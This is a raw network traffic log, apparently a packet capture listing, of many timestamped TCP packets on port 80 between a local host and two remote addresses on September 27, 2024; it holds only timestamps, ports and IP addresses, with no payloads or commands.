Sep 27, 2024 16:18:19.267039061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.267054081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.267069101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.267082930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.267082930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.267111063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.267126083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.291342974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.291378975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.291408062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.291482925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.291513920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.292768002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.297667980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.304332972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304364920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304378986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304385900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304403067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304424047 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304491997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304507017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304522038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304537058 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304537058 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304558039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304588079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304610968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304650068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304691076 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304734945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304781914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304796934 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304812908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304825068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304841042 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304860115 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.304954052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304968119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304984093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.304992914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305017948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305094957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305108070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305160999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305174112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305187941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305202007 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305227995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305239916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305357933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305373907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305388927 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305402994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305404902 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305418968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305424929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305454969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305603027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305617094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305632114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305645943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305648088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305660963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305670023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305675983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305692911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305699110 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305726051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305754900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305896044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305912018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.305943012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.305954933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306057930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306072950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306086063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306101084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306114912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306126118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306128979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306143999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306158066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306171894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306183100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306200027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306211948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306512117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306533098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306546926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306559086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306560993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306575060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306576014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306588888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306592941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306603909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306617022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306617975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306643963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306668043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.306982994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.306997061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307010889 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307024956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307029009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307039022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307049990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307054996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307069063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307082891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307091951 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307097912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307112932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307121038 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307147980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307504892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307519913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307534933 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307549000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307552099 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307564974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307571888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307579041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307594061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307596922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307606936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307615995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307642937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307826996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307841063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307884932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307895899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307910919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307931900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307936907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307945967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307960033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307960987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.307976961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.307977915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.308001995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.308027029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.338979006 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339013100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339025974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339071989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339086056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339087009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339140892 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339229107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339246988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339272022 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339298964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339452982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339467049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339483023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339498997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339505911 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339523077 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339554071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339606047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339620113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339633942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339647055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339648962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339663982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339665890 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339679003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339693069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339693069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339709044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.339714050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.339742899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340014935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340032101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340048075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340060949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340080976 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340111971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340132952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340147018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340162039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340176105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340177059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340193033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340209961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340365887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340380907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340396881 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.340409040 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.340436935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354079962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354111910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354125977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354191065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354191065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354203939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354218960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354233980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354264975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354289055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354370117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354386091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354425907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354435921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354438066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354464054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354496002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354567051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354582071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354605913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354619980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354697943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354712963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354727983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354742050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354742050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.354763031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.354787111 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.391921043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.391957045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.391969919 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392030001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392040968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392055035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392070055 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392080069 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392083883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392112970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392138958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392211914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392270088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392318010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392339945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392354012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392369032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392381907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392407894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392499924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392514944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392529964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392543077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392545938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392570019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392596006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392627001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392684937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392699957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392714024 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392716885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392740965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392884016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392899990 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392913103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392916918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392925024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392927885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.392956972 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.392981052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393066883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393080950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393095016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393107891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393121958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393240929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393255949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393270016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393285036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393299103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393299103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393311977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393342018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393498898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393512964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393527031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393541098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393554926 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393558979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393570900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393572092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393594027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393624067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393734932 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393858910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393872976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393887997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393903017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393913984 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393917084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393930912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393944025 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393946886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393960953 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.393961906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.393985033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394011021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394216061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394231081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394273043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394409895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394424915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394438982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394453049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394454002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394468069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394479036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394481897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394498110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394510984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394514084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394524097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394526958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394540071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394552946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394553900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394568920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.394579887 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394597054 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.394620895 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395001888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395016909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395031929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395066023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395087004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395153999 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395168066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395190001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395205021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395210028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395219088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395232916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395236015 CEST	49615	80	192.168.2.6	185.215.113.117
